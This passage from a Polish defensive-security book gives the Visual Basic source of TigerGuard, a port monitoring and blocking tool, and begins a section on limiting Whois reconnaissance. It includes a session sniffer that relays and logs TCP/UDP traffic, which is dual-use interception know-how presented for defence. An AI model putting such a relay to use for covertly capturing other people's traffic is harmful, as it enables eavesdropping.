Domyślnym ograniczeniem ich liczby jest 500. Podstawowy moduł uzupełniają
Intrusion Sniffer i Port Session Sniffer służące do (niewidocznego) przechwytywa-
nia informacji o przeprowadzanych atakach TCP i UDP (patrz rysunek 1.40). Uwaga:
Aby uniknąć problemów przy otwieraniu gniazd, zawsze należy wyłączać badanie portu
w TigerGuard przed wywołaniem któregokolwiek z analizatorów sesji. Intrusion Sniffer
przechwytuje pojedynczą sesję, a Port Session Sniffer — wszystkie sesje jednocześnie.

Rysunek 1.40.
TigerGuard rejestruje,
blokuje i przechwytuje
dane ataków

To proste narzędzie do monitorowania i blokowania portów, powstałe dzięki pomocy Neila
Ramsbottoma i Mike’a Downa, Czytelnik wykorzystywać może i modyfikować całko-
wicie swobodnie. W dalszej części książki omówimy TigerWatch, narzędzie do monito-
rowania portów, które — w połączeniu z TigerSurf — oferuje już pełną ochronę systemu.
Oba zostały umieszczone na CD-ROM-ie i mogą być bezpłatnie wykorzystywane. Podsu-
mowując, TigerGuard pozwala dodawać do zasad ochrony pojedyncze porty; TigerWatch
chroni przed najczęściej spotykanymi koniami trojańskimi i wirusami oraz wyposażony jest w
zaawansowane opcje konfiguracyjne, pozwalające dodawać własne elementy zasad.

Należy zaznaczyć, że program TigerGuard nie został przygotowany do pracy w zastęp-
stwie przedstawianych wcześniej programów blokujących. Ma być jedynie dodatkowym
ś

rodkiem zabezpieczającym, który „uszczelni” system na wypadek ataków lokalnych

i zdalnych, w tym tych, w których zastosowano podrabianie adresu nadawcy. Do wersji na
dysku CD dołączono listę niespełna 60 zasad — powinny one wystarczyć do rozpoczęcia
korzystania z programu. Listy zasad zapisywane są w plikach

.lst

, a opcje programu

(preferencje) — w pliku

TigerGuard.ini

.

TigerGuard

' Formularz główny (Main)
Dim DaemonPort As String
Dim RxData As String

background image


Rozdział 1.

Zabezpieczanie portów i usług

125

125

Dim RMN As String
Dim RIP As String

Private Sub cmdAddPort_Click()
If lvwPortInfo.ListItems.Count >= MAX_PORTS Then
MsgBox "You can only add " & MAX_PORTS & " policies!",
vbExclamation, "Error!"
End If
frmPolicy.Show 1
End Sub

Private Sub Command1_Click()
frmSniffer.Show
End Sub

Private Sub mnuAddPolicy_Click()
If lvwPortInfo.ListItems.Count >= MAX_PORTS Then
MsgBox "You can only add " & MAX_PORTS & " policies!",
vbExclamation, "Error!"
End If
frmPolicy.Show 1
End Sub

Private Sub cmdRemove_Click()
If lvwPortInfo.ListItems.Count <> 0 Then
lvwPortInfo.ListItems.Remove (lvwPortInfo.SelectedItem.Index)
End If
End Sub

Private Sub mnuRemovePolicy_Click()
If lvwPortInfo.ListItems.Count <> 0 Then
lvwPortInfo.ListItems.Remove (lvwPortInfo.SelectedItem.Index)
End If
End Sub

Private Sub Form_Load()
If DOESINIEXIST = False Then
MsgBox "The TigerGuard.INI file is missing. Please reload the
applcation.",
vbExclamation, "Error"
Unload Me
End
End If
LoadINISettings
RefreshDisplay
End Sub

Public Sub RefreshDisplay()
lblMaxPorts = "Maximum Policies Allowed: " & MAX_PORTS
With lvwPortInfo
.ColumnHeaders(1).Width = 2000
.ColumnHeaders(2).Width = 700
.ColumnHeaders(3).Width = 1400
.ColumnHeaders(5).Width = 1700
.ColumnHeaders(6).Width = 800
End With
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As
Integer)
If UnloadMode = 0 Then
End If
End Sub

background image


126

Hack Wars. Tom 2. Na tropie hakerów

126

Private Sub Form_Unload(Cancel As Integer)
If lvwPortInfo.ListItems.Count = 0 Then
Else
For i = 1 To lvwPortInfo.ListItems.Count
If lvwPortInfo.ListItems(i).Checked = True Then
sckData(i).Close
Unload sckData(i)
End If
Next i
End If
End Sub

Private Sub lvwPortInfo_Click()
Dim intCurrIndex As Integer
If lvwPortInfo.ListItems.Count = 0 Then Exit Sub
intCurrIndex = lvwPortInfo.SelectedItem.Index + 1
End Sub

Private Sub lvwPortInfo_ItemCheck(ByVal Item As MSComctlLib.ListItem)
Dim intCurrIndex As Integer
intCurrIndex = Item.Index
If Item.Checked = True Then
Load sckData(intCurrIndex)
sckData(intCurrIndex).LocalPort = Item.SubItems(1)
On Error GoTo err
sckData(intCurrIndex).listen
Item.SubItems(3) = "Enabled"
Else
sckData(intCurrIndex).Close
Unload sckData(intCurrIndex)
Item.SubItems(3) = "Disabled"
End If
Exit Sub
err:
lvwPortInfo.ListItems(intCurrIndex).SubItems(3) = "(" &
err.Number & ") Error!"
lvwPortInfo.ListItems(intCurrIndex).Checked = False
sckData(intCurrIndex).Close
Unload sckData(intCurrIndex)
End Sub

Private Sub mnuAboutDownload_Click()
ShellExecute Me.hwnd, "open", UPDATE_ADDRESS, "", "", 1
End Sub

Private Sub mnuAboutWebsite_Click()
ShellExecute Me.hwnd, "open", WEBSITE_ADDRESS, "", "", 1
End Sub

Private Sub mnuFileExit_Click()
Unload Me
End
End Sub

Private Sub mnuFileLoadList_Click()
Dim CDLG As New CommonDialog
Dim strFilename As String
CDLG.Filter = "Policy List Files (*.lst)|*.lst" & Chr(0)
strFilename = CDLG.GetFileOpenName
If Trim(strFilename) = Chr(0) Then Exit Sub
LoadPortList strFilename
ValidateList

background image


Rozdział 1.

Zabezpieczanie portów i usług

127

127

End Sub

Sub ValidateList()
Dim strTmpText1 As String
Dim strTmpText2 As String
If lvwPortInfo.ListItems.Count <> 0 Then
If lvwPortInfo.ListItems.Count >= MAX_PORTS Then
GoTo bad_list
Else
For i = 1 To lvwPortInfo.ListItems.Count
strTmpText1 = lvwPortInfo.ListItems(i).SubItems(1)
For x = i + 1 To lvwPortInfo.ListItems.Count
If lvwPortInfo.ListItems(x).SubItems(1) = strTmpText1
Then
GoTo bad_list
End If
Next x
Next i
End If
End If
Exit Sub
bad_list:
MsgBox "Policy List Corruption." & CR & CR & "This file cannot be
loaded!",
vbExclamation, "Error!"
lvwPortInfo.ListItems.Clear
End Sub

Private Sub mnuFileOptions_Click()
frmNotify.Show 1
End Sub

Private Sub mnuFileSaveList_Click()
If lvwPortInfo.ListItems.Count <> 0 Then
Dim CDLG As New CommonDialog
Dim strFilename As String
CDLG.Filter = "Policy List Files (*.lst)|*.lst" & Chr(0)
strFilename = CDLG.GetFileSaveName
If Trim(strFilename) = Chr(0) Then Exit Sub
If Right(strFilename, 4) <> ".lst" Then
strFilename = strFilename & ".lst"
End If
SavePortList strFilename
End If
End Sub

Sub SavePortList(strFilename As String)
Dim TmpVal As PORTENTRY
If Dir(strFilename) <> "" Then
If MsgBox("Overwrite " & strFilename & "?", vbExclamation +
vbOKCancel,
"Confirm") = vbOK Then
Kill strFilename
Else
Exit Sub
End If
End If
For i = 1 To lvwPortInfo.ListItems.Count
TmpVal.PORTNAME = lvwPortInfo.ListItems(i).Text
TmpVal.PORTNUMBER = lvwPortInfo.ListItems(i).SubItems(1)
Open strFilename For Random As #1 Len = Len(TmpVal)
If LOF(1) = 0 Then

background image


128

Hack Wars. Tom 2. Na tropie hakerów

128

Put #1, 1, TmpVal

Else
Put #1, LOF(1) / Len(TmpVal) + 1, TmpVal
End If
Close #1
Next i
End Sub

Sub LoadPortList(strFilename As String)
Dim TmpVal As PORTENTRY
lvwPortInfo.ListItems.Clear
Open strFilename For Random As #1 Len = Len(TmpVal)
For i = 1 To LOF(1) / Len(TmpVal)
Get #1, i, TmpVal
lvwPortInfo.ListItems.Add , , Trim(TmpVal.PORTNAME)
With
frmMain.lvwPortInfo.ListItems(frmMain.lvwPortInfo.ListItems.Count)
.SubItems(1) = Trim(TmpVal.PORTNUMBER)
.SubItems(3) = "Disabled"
.SubItems(4) = "Never"
.SubItems(5) = "0"
End With
Next i
Close #1
End Sub

Private Sub sckData_ConnectionRequest(Index As Integer, ByVal
requestID As Long)
Dim intIndex As Integer
intIndex = Index
If chkAntiFlood.Value = vbChecked Then
If lvwPortInfo.ListItems(intIndex).SubItems(5) = ANTI_FLOOD_COUNT
Then
Select Case ANTI_FLOOD_ACTION
Case 1
GoTo listen
Case 2
sckData(intIndex).Close
lvwPortInfo.ListItems(intIndex).SubItems(3) = "Denial
of Service
Warning!"
Case Else
End Select
End If
End If
sckData(intIndex).Close
sckData(intIndex).Accept requestID
If BEEPONCONNECT = "1" Then
Beep
End If
lvwPortInfo.ListItems(intIndex).SubItems(2) =
sckData(intIndex).RemoteHostIP
lvwPortInfo.ListItems(intIndex).SubItems(3) = "Connecting!"
lvwPortInfo.ListItems(intIndex).SubItems(4) = Format$(Time, "h:m:s")
& " " &

Format$(Date, "dd/mm/yyyy")

lvwPortInfo.ListItems(intIndex).SubItems(5) =
lvwPortInfo.ListItems(Index).SubItems(5) + 1
listen:
sckData(intIndex).Close

background image


Rozdział 1.

Zabezpieczanie portów i usług

129

129

On Error GoTo err
sckData(intIndex).listen
lvwPortInfo.ListItems(intIndex).SubItems(3) = "Enabled"
Exit Sub
err:
lvwPortInfo.ListItems(intIndex).SubItems(3) = "Error!"
lvwPortInfo.ListItems(intIndex).Checked = False
End Sub

Private Sub lstn_Click()
wsk.Close
DaemonPort = InputBox$("Please enter the Port to monitor:")
If DaemonPort = "" Then Exit Sub
For i = 1 To Len(DaemonPort)
If Asc(Right$(DaemonPort, i)) < 48 Or Asc(Right$(DaemonPort, i))
> 57 Then
MsgBox "Please enter in a valid Port number."
DaemonPort = ""
Exit Sub
End If
Next i
wsk.LocalPort = DaemonPort
wsk.listen
Text1.Text = Text1.Text & "Your IP: " & wsk.LocalIP & " Daemon Port:
" & DaemonPort

& vbCrLf

End Sub

Private Sub Rset_Click()
wsk.Close
wsk.listen
Text1.Text = Text1.Text & "Daemon Reset" & vbCrLf
End Sub

Private Sub stp_Click()
wsk.Close
Text1.Text = Text1.Text & "Daemon Stoped Listening." & vbCrLf
End Sub

Private Sub Text1_Change()
Text1.SelStart = Len(Text1.Text)
If Len(Text1.Text) > 47775 Then
Text1.Text = ""
End If
End Sub

Private Sub wsk_Close()
wsk.Close
wsk.listen
Text1.Text = Text1.Text & "Remote Intruder Logged Off, Daemon Reset."
& vbCrLf
End Sub

Private Sub wsk_ConnectionRequest(ByVal requestID As Long)
If wsk.State <> sckClosed Then wsk.Close
wsk.Accept requestID
RMN = DNS.AddressToName(wsk.RemoteHostIP)
RIP = wsk.RemoteHostIP
Label1.Caption = RMN
RMN = Label1.Caption

background image


130

Hack Wars. Tom 2. Na tropie hakerów

130

Text1.Text = Text1.Text & "Remote Intruder Logged On: " & RMN & "(" &
RIP & ")" &

vbCrLf

End Sub

Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
wsk.GetData RxData
Text1.Text = Text1.Text & RxData
End Sub

Private Sub wsk_Error(ByVal Number As Integer, Description As String,
ByVal Scode

As Long, ByVal Source As String, ByVal HelpFile As String, ByVal

HelpContext

As Long, CancelDisplay As Boolean)

wsk.Close
If DaemonPort <> "" Then
wsk.LocalPort = DaemonPort
wsk.listen
End If
Text1.Text = Text1.Text & "Winsock Error: " & Number & ": " &
Description & vbCrLf
Text1.Text = Text1.Text & "Daemon was reset." & vbCrLf
End Sub


' Opcje programu (preferencje)
Private Sub chkBeep_Click()
Dim strINIFILE As String
strINIFILE = APPPATH & INIFILE
If chkBeep.Value = vbChecked Then
WriteINI strINIFILE, "GENERAL", "BEEP", "1"
Else
WriteINI strINIFILE, "GENERAL", "BEEP", "0"
End If
End Sub

Private Sub cmdCancel_Click()
Unload Me
End Sub

Private Sub cmdOk_Click()
ANTI_FLOOD_COUNT = txtConnectTimes
SaveINISettings
Unload Me
End Sub

Private Sub Form_Load()
Me.Icon = frmMain.Icon
txtConnectTimes = ANTI_FLOOD_COUNT
Select Case ANTI_FLOOD_ACTION
Case 1
optResetPort.Value = True
Case 2
optShutPort.Value = True
Case Else
End Select
End Sub

Private Sub optResetPort_Click()
ANTI_FLOOD_ACTION = 1
End Sub

background image


Rozdział 1.

Zabezpieczanie portów i usług

131

131

Private Sub optShutPort_Click()
ANTI_FLOOD_ACTION = 2
End Sub

' Tworzenie zasad
Private Sub Cancel_Click()
Unload Me
End Sub

Private Sub cmdOk_Click()
If txtPortNumber <> "" Then
If IsNumeric(txtPortNumber) = True Then
If txtPortNumber >= 1 Then
If PortExists = False Then
If txtPortName = "" Then
frmMain.lvwPortInfo.ListItems.Add , ,
txtPortNumber
Else
frmMain.lvwPortInfo.ListItems.Add , ,
txtPortName
End If
With
frmMain.lvwPortInfo.ListItems(frmMain.lvwPortInfo.ListItems.Count)
.SubItems(1) = txtPortNumber
.SubItems(3) = "Disabled"
.SubItems(4) = "Never"
.SubItems(5) = "0"
End With
Else
Exit Sub
End If
Else
GoTo bad_port
End If
Else
GoTo bad_port
End If
Else
GoTo bad_port
End If
Unload Me
Exit Sub
bad_port:
MsgBox "You must enter a valid port number to continue!",
vbExclamation, "Error!"
End Sub

Function PortExists() As Boolean
Dim i As Integer
For i = 1 To frmMain.lvwPortInfo.ListItems.Count
If frmMain.lvwPortInfo.ListItems(i).SubItems(1) = txtPortNumber
Then
MsgBox "That port is already guarded!", vbExclamation,
"Error!"
PortExists = True
Exit Function
End If
Next i
PortExists = False
End Function

Private Sub Form_Load()

background image


132

Hack Wars. Tom 2. Na tropie hakerów

132

Me.Icon = frmMain.Icon
End Sub

Private Sub txtPortName_GotFocus()
txtPortName.SelStart = 0
txtPortName.SelLength = Len(txtPortName)
End Sub

Private Sub txtPortNumber_GotFocus()
txtPortNumber.SelStart = 0
txtPortNumber.SelLength = Len(txtPortNumber)
End Sub

' Analizator wtargni

ę

cia

Private Sub cmdListen_Click()
Select Case cmdListen.Caption
Case Is = "Listen"
If opTCP.Value Then
Inet.Protocol = sckTCPProtocol
Inet2.Protocol = sckTCPProtocol
Inet.LocalPort = CInt(txtLocalPort.Text)
Inet.RemoteHost = txtRemoteIP.Text
Inet.RemotePort = CInt(txtRemotePort.Text)
txtLocalPort.Enabled = False
txtRemoteIP.Enabled = False
txtRemotePort.Enabled = False
cmdListen.Caption = "Reset"
Inet.Close
Inet.listen
log "I>Capturing TCP traffic on " & Inet.LocalIP & ":" &
Inet.LocalPort
Else
Inet.Close
Inet2.Close
Inet.Protocol = sckUDPProtocol
Inet2.Protocol = sckUDPProtocol
Inet.LocalPort = CInt(txtLocalPort.Text)
Inet2.RemoteHost = txtRemoteIP.Text
Inet2.RemotePort = CInt(txtRemotePort.Text)
txtLocalPort.Enabled = False
txtRemoteIP.Enabled = False
txtRemotePort.Enabled = False
cmdListen.Caption = "Reset"
Inet.Bind CInt(txtLocalPort.Text)
log "I>Capturing UDP traffic on " & Inet.LocalIP & ":" &
Inet.LocalPort
End If
Case Is = "Reset"
Inet.Close
txtLocalPort.Enabled = True
txtRemoteIP.Enabled = True
txtRemotePort.Enabled = True
cmdListen.Caption = "Listen"
End Select
End Sub

Private Sub Command1_Click()
txtLog.Text = ""
End Sub


Private Sub Form_Load()

background image


Rozdział 1.

Zabezpieczanie portów i usług

133

133

txtLocalIP.Text = Inet.LocalIP
End Sub

Private Sub Form_Resize()
If Not Me.WindowState = vbMinimized Then
txtLog.Width = Me.ScaleWidth
txtLog.Height = Me.Height - 850
End If
End Sub

Private Sub Inet_Close()
log "I>INET EVENT: CLOSED CONNECTION"
Inet2.Close
cmdListen_Click
cmdListen_Click
End Sub

Private Sub Inet_Connect()
log "I>INET EVENT: CONNECT"
End Sub

Private Sub Inet_ConnectionRequest(ByVal requestID As Long)
log "I>INET EVENT: CONNECTION REQUEST [ " & requestID & " ]"
If Inet.State <> sckClosed Then Inet.Close
log "I>CONNECTING 0 TO " & txtRemoteIP.Text & ":" &
CInt(txtRemotePort.Text)
Inet2.Close
Inet2.Connect txtRemoteIP.Text, CInt(txtRemotePort.Text)
Do Until Inet2.State = sckConnected
DoEvents
Loop
Inet.Accept requestID
End Sub

Private Sub Inet_DataArrival(ByVal bytesTotal As Long)
Dim sData As String
Dim bData() As Byte
If opTCP.Value Then
Inet.PeekData sData, vbString
Inet.GetData bData(), vbArray + vbByte
Inet2.SendData bData()
Else
Inet.GetData sData
Inet2.SendData sData
End If
log "I>" & sData
Exit Sub
erred:
Inet.Close
Inet2.Close
cmdListen_Click
cmdListen_Click
End Sub

Private Sub Inet_Error(ByVal Number As Integer, Description As
String, ByVal Scode
As Long, ByVal Source As String, ByVal HelpFile As String, ByVal
HelpContext

As Long, CancelDisplay As Boolean)

log "I>INET ERROR: " & Number & " = " & Description
End Sub

Public Sub log(Text As String)
On Error GoTo erred

background image


134

Hack Wars. Tom 2. Na tropie hakerów

134

txtLog.Text = txtLog.Text & Text & vbCrLf
txtLog.SelStart = Len(txtLog.Text)
Exit Sub
erred:
txtLog.Text = ""
txtLog.Text = txtLog.Text & Text & vbCrLf
txtLog.SelStart = Len(txtLog.Text)
End Sub

Private Sub Inet2_Close()
log "0>INET EVENT: CLOSED CONNECTION"
Inet.Close
cmdListen_Click
cmdListen_Click
End Sub

Private Sub Inet2_DataArrival(ByVal bytesTotal As Long)
On Error GoTo erred
Dim sData As String
Dim bData2() As Byte
If opTCP.Value Then
Inet2.PeekData sData, vbString
Inet2.GetData bData2(), vbArray + vbByte
Inet.SendData bData2()
Else
Inet2.GetData sData
Inet.SendData sData
End If
log "O>" & sData
Exit Sub
erred:
Inet.Close
Inet2.Close
cmdListen_Click
cmdListen_Click
End Sub

Private Sub Inet2_Error(ByVal Number As Integer, Description As
String, ByVal Scode
As Long, ByVal Source As String, ByVal HelpFile As String, ByVal
HelpContext As
Long, CancelDisplay As Boolean)
log "O>INET ERROR: " & Number & " = " & Description
End Sub

Private Sub txtLocalPort_Change()
txtRemotePort.Text = txtLocalPort.Text
End Sub


' Moduł wspólny
Public Declare Function ShellExecute Lib "shell32.dll" Alias
"ShellExecuteA" (ByVal
hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String,
ByVal
lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As
Long) As Long
Public Const INIFILE = "TIGERGUARD.INI"
Public Const CR = vbCrLf
Public MAX_PORTS As Integer
Public ANTI_FLOOD_COUNT As Integer
Public ANTI_FLOOD_ACTION As Integer

background image


Rozdział 1.

Zabezpieczanie portów i usług

135

135

Public BEEPONCONNECT As String * 1
Public Type PORTENTRY
PORTNAME As String * 255
PORTNUMBER As Long
End Type

Public Function APPPATH() As String
If Right(App.Path, 1) <> "\" Then
APPPATH = App.Path & "\"
Else
APPPATH = App.Path
End If
End Function

Public Function DOESINIEXIST() As Boolean
If Dir(APPPATH & INIFILE) = "" Then
DOESINIEXIST = False
Else
DOESINIEXIST = True
End If
End Function

Public Sub LoadINISettings()
Dim strTempVal As String
strTempVal = ReadINI(APPPATH & INIFILE, "GENERAL", "MAXPORTS")
If strTempVal <> "" Then
If IsNumeric(strTempVal) = True Then
If strTempVal >= 1 Then
MAX_PORTS = strTempVal
GoTo INIVAL2
Else
GoTo bad_max_port
End If
GoTo bad_max_port
End If
GoTo bad_max_port
End If
INIVAL2:
strTempVal = ReadINI(APPPATH & INIFILE, "GENERAL", "ANTIFLOODCOUNT")
If strTempVal <> "" Then
If IsNumeric(strTempVal) = True Then
If strTempVal >= 1 Then
ANTI_FLOOD_COUNT = strTempVal
GoTo INIVAL3
Else
GoTo bad_flood_count
End If
GoTo bad_flood_count
End If
GoTo bad_flood_count
End If
INIVAL3:
strTempVal = ReadINI(APPPATH & INIFILE, "GENERAL", "ANTIFLOODACTION")
If strTempVal <> "" Then
If IsNumeric(strTempVal) = True Then
If strTempVal >= 1 Then
ANTI_FLOOD_ACTION = strTempVal
Exit Sub
Else
GoTo bad_flood_count
End If

background image


136

Hack Wars. Tom 2. Na tropie hakerów

136

GoTo bad_flood_count
End If
GoTo bad_flood_count
End If
BEEPONCONNECT = ReadINI(APPPATH & INIFILE, "GENERAL", "BEEP")
Exit Sub
bad_max_port:
MsgBox "Invalid Maximum Policies entry in INI file. Please re-
install." & CR &
CR & "Using Default of 40", vbExclamation, "Error!"
MAX_PORTS = 40
Exit Sub
bad_flood_count:
MsgBox "Invalid Denial of Service in INI file. Please re-
install." & CR & CR &
"Using Default of 100", vbExclamation, "Error!"
ANTI_FLOOD_COUNT = 100
Exit Sub
bad_flood_action:
MsgBox "Invalid Denial of Service entry in INI file. Please re-
install." & CR &
CR & "Using default (Reset Port)", vbExclamation, "Error!"
ANTI_FLOOD_ACTION = 1
Exit Sub
End Sub

Public Sub SaveINISettings()
Dim strINIFILE As String
Dim strTmpVal As String
strINIFILE = APPPATH & INIFILE
strTmpVal = MAX_PORTS
WriteINI strINIFILE, "GENERAL", "MAXPORTS", strTmpVal
strTmpVal = ANTI_FLOOD_ACTION
WriteINI strINIFILE, "GENERAL", "AntiFloodAction", strTmpVal
strTmpVal = ANTI_FLOOD_COUNT
WriteINI strINIFILE, "GENERAL", "AntiFloodCount", strTmpVal
If frmMain.chkAntiFlood.Value = vbChecked Then
WriteINI strINIFILE, "GENERAL", "AntiFloodEnable", "1"
Else
WriteINI strINIFILE, "GENERAL", "AntiFloodEnable", "0"
End If
End Sub


' Zarz

ą

dzane plikiem INI

Declare Function WritePrivateProfileString Lib "kernel32" Alias
"WritePrivateProfileStringA" (ByVal lpApplicationName As String,
ByVal lpKeyName
As Any, ByVal lpString As Any, ByVal lpFileName As String) As
Long
Declare Function GetPrivateProfileString Lib "kernel32" Alias
"GetPrivateProfileStringA" (ByVal lpApplicationName As String,
ByVal lpKeyName As
Any, ByVal lpDefault As String, ByVal lpReturnedString As String,
ByVal nSize
As Long, ByVal lpFileName As String) As Long
Public Ret As String

Public Sub WriteINI(FileName As String, Section As String, Key As
String, Text As

String)

WritePrivateProfileString Section, Key, Text, FileName

background image


Rozdział 1.

Zabezpieczanie portów i usług

137

137

End Sub

Public Function ReadINI(FileName As String, Section As String, Key As
String)
Ret = Space$(255)
RetLen = GetPrivateProfileString(Section, Key, "", Ret, Len(Ret),
FileName)
Ret = Left$(Ret, RetLen)
ReadINI = Ret
End Function

' Wspólne okna dialogowe
Private Declare Function GetSaveFileName Lib "comdlg32.dll" Alias
"GetSaveFileNameA" (pOpenfilename As OPENFILENAME) As Long
Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias
"GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long
Private Filename As OPENFILENAME
Private Type OPENFILENAME
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
nFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type

Public Property Let DefaultExtension(Extention As String)
Filename.lpstrDefExt = Extention
End Property

Public Property Get DefaultExtension() As String
DefaultExtension = Filename.lpstrDefExt
End Property

Public Property Let ObjectOwner(Objet As Object)
Filename.hwndOwner = Objet.hwnd
End Property

Public Property Let Filter(CustomFilter As String)
Dim intCount As Integer
Filename.lpstrFilter = ""
For intCount = 1 To Len(CustomFilter)
If Mid(CustomFilter, intCount, 1) = "|" Then
Filename.lpstrFilter =
Filename.lpstrFilter + Chr(0) Else Filename.lpstrFilter =
Filename.lpstrFilter + Mid(CustomFilter, intCount, 1)
Next intCount
Filename.lpstrFilter = Filename.lpstrFilter + Chr(0)

background image


138

Hack Wars. Tom 2. Na tropie hakerów

138

End Property

Public Property Let WindowTitle(Title As String)
Filename.lpstrTitle = Title
End Property

Public Property Get WindowTitle() As String
WindowTitle = Filename.lpstrTitle
End Property

Public Property Let InitialDirectory(InitDir As String)
Filename.lpstrInitialDir = InitDir
End Property

Public Property Let DefaultFilename(strFilename As String)
Filename.lpstrFileTitle = strFilename
End Property

Public Property Get DefaultFilename() As String
DefaultFilename = Filename.lpstrFileTitle
End Property

Public Property Get InitialDirectory() As String
InitialDirectory = Filename.lpstrInitialDir
End Property

Public Function GetFileOpenName(Optional Multiselect As Boolean =
False) As String
Filename.hInstance = App.hInstance
Filename.hwndOwner = hwnd
Filename.lpstrFile = Chr(0) & Space(259)
Filename.lpstrFileTitle = Filename.lpstrFileTitle
Filename.nMaxFile = 260
If Multiselect Then Filename.flags = &H80000 Or &H4 Or &H200 Else

Filename.flags = &H80000 Or &H4

Filename.lStructSize = Len(Filename)
GetOpenFileName Filename
GetFileOpenName = Filename.lpstrFile
End Function

Public Function GetFileSaveName() As String
Filename.hInstance = App.hInstance
Filename.hwndOwner = hwnd
Filename.lpstrFile = Chr(0) & Space(259)
Filename.nMaxFile = 260
Filename.flags = &H80000 Or &H4
Filename.lStructSize = Len(Filename)
GetSaveFileName Filename
GetFileSaveName = Filename.lpstrFile
End Function

Public Function Count() As Integer
Dim intCount As Integer
For intCount = 1 To Trim(Len(Filename.lpstrFile))
If Mid(Trim(Filename.lpstrFile), intCount, 1) = Chr(0) Then
Count = Count + 1
Next intCount
Count = Count - 2
If Count < 1 Then Count = Count + 1
End Function

Public Function GetMultiFilename(Filenumber As Integer) As String
Dim intCount As Integer
Dim intOne As Integer

background image


Rozdział 1.

Zabezpieczanie portów i usług

139

139

Dim intFile As Integer
Dim intNext As Integer
intOne = InStr(1, Trim(Filename.lpstrFile), Chr(0))
intFile = 1
For intCount = 1 To Filenumber
intFile = InStr(intFile + 1, Trim(Filename.lpstrFile),
Chr(0))
Next intCount
intNext = InStr(intFile + 1, Trim(Filename.lpstrFile), Chr(0))
GetMultiFilename = IIf(Right(Mid(Trim(Filename.lpstrFile), 1,
intOne - 1), 1) =
"\", Mid(Trim(Filename.lpstrFile), 1, intOne - 1),
Mid(Trim(Filename.lpstrFile), 1, intOne - 1) + "\") +
Mid(Trim(Filename.lpstrFile), intFile + 1, intNext - intFile -
1)
If Right(GetMultiFilename, 1) = "\" Then GetMultiFilename =
Left(GetMultiFilename, Len(GetMultiFilename) - 1)
End Function

Przeciwdziałanie
gromadzeniu informacji

Jak już to wyjaśniliśmy w pierwszym tomie tej książki, Hack wars. Na tropie hakerów,
zaplanowane poważne próby włamania wymagają pewnej wiedzy o sieci będącej celem
ataku. Badanie jest pierwszym krokiem w planowanym ataku na zdalną lub lokalną
sieć (jak pamiętasz, zdalny atak hakera jest definiowany jako atak z zewnątrz sieci
docelowej przy użyciu protokołu komunikacyjnego poprzez medium komunikacyjne).
W czasie fazy badania zdalnego ataku te informacje są niezbędne do tworzenia strategii
ataku, co obejmuje wybór najlepszych środków działania pozwalających na penetrację.

Ten rozdział omawia sposoby przeciwdziałania różnym próbom badania, takim jak
użycie narzędzia Whois, zbieranie informacji z witryny internetowej, a także inżynieria
społeczna. Aby to zademonstrować, odwiedzimy ponownie fikcyjną firmę o nazwie
XYZ, która pojawiła się w pierwszym tomie tej książki.

Informacje Whois

Osoba atakująca używa usługi Whois do odnalezienia internetowej nazwy domeny
sieciowej firmy, będącej celem ataku. Jak pamiętasz, nazwa domeny jest adresem
urządzenia przyłączonego do Internetu lub dowolnej innej sieci TCP/IP, która używa
słów do identyfikacji serwerów (organizacje i podobne); taki adres ma formę www.nazwa-
firmy.com
. Usługa Whois umożliwia hakerowi uzyskanie takich informacji, jak adres
URL danej firmy, a nawet nazwy użytkownika, który ma konto w tej domenie.

Bardzo ważna jest identyfikacja miejsc, z których mogą wyciec potencjalnie niebez-
pieczne informacje odnoszące się do domeny. Poniżej znajduje się lista adresów
serwerów, które udostępniają usługę Whois:









www.networksolutions.com/cgi-bin/whois/whois — dla Ameryki Północnej,









www.ripe.net — dla Europy,









www.apnic.net — dla Azji i Pacyfiku,

background image


140

Hack Wars. Tom 2. Na tropie hakerów

140









www.dns.pl/cgi-bin/whois.pl — dla Polski.

W pierwszym tomie tej książki, Hack wars. Na tropie hakerów, uzyskaliśmy następujące
informacje dotyczące firmy XYZ: adres, kontakt do administratora, kontakt w spra-
wach technicznych, kontakt w sprawach rozliczeń oraz adresy DNS. Dzięki temu
zdobyliśmy podstawy do dalszych poszukiwań, a nawet do ataku.

Aby zamknąć „dziurę” otwartą poprzez użycie Whois, należy umówić się z dostawcą
Internetu w celu modyfikacji informacji o domenie. Dostawcy usług internetowych
(Internet service providers — ISP) oferują obsługę domen za niewielką kwotę i taka
zmiana nie powoduje kłopotów. Pierwszym krokiem jest odnalezienie dobrego dostawcy
Internetu, który oferuje również niezbędną ochronę przed atakami przeciwko DNS-om.
Sprawdź również, czy dostawca gwarantuje dostępność Internetu zgodną z polityką
wewnętrzną Twojej firmy. Niektórzy dostawcy zapewniają 99-procentową dostępność
wraz z najlepszą tolerancją błędów oraz automatycznym przełączaniem infrastruk-
tury w przypadku powstania awarii. Dobry dostawca jest również połączony bezpo-
ś

rednio z siecią szkieletową, co oznacza krótszy czas dostępu. Wielu dostawców jest

tylko pośrednikami sprzedającymi usługi większych firm, przez co zwiększa się odległość
do sieci szkieletowej Internetu. W pierwszym tomie tej książki opisaliśmy sposób użycia
usługi traceroute do sprawdzenia i przetestowania dostawcy Internetu. Mniejsza odległość
do Internetu oznacza również mniejszą ilość sprzętu, o jaki należy się martwić w przy-
padku ataku hakerów, awarii, zaplanowanego wyłączenia i innych sytuacji.

Po podpisaniu umowy z dobrym dostawcą Internetu musisz zmodyfikować informacje
o domenie. Jeśli nawet nie zdecydujesz się na skorzystanie z takich usług, możesz zmienić
krytyczne informacje. Dla przykładowej firmy XYZ przygotowaliśmy formularze modyfi-
kacji informacji o kontakcie i hoście. Takie modyfikacje mogą być wykonywane bezpo-
ś

rednio przez Internet na stronie NASK-u (patrz rysunek 1.41).

Rysunek 1.41.
Modyfikacja
informacji o domenie
mo
że być bardzo
prosta

background image


Rozdział 1.

Zabezpieczanie portów i usług

137

137

Rekomendowane przez nas zmiany powinny obejmować tematy wymienione niżej.

1.

Uzyskanie od dostawcy nazwiska osoby kontaktowej.

2.

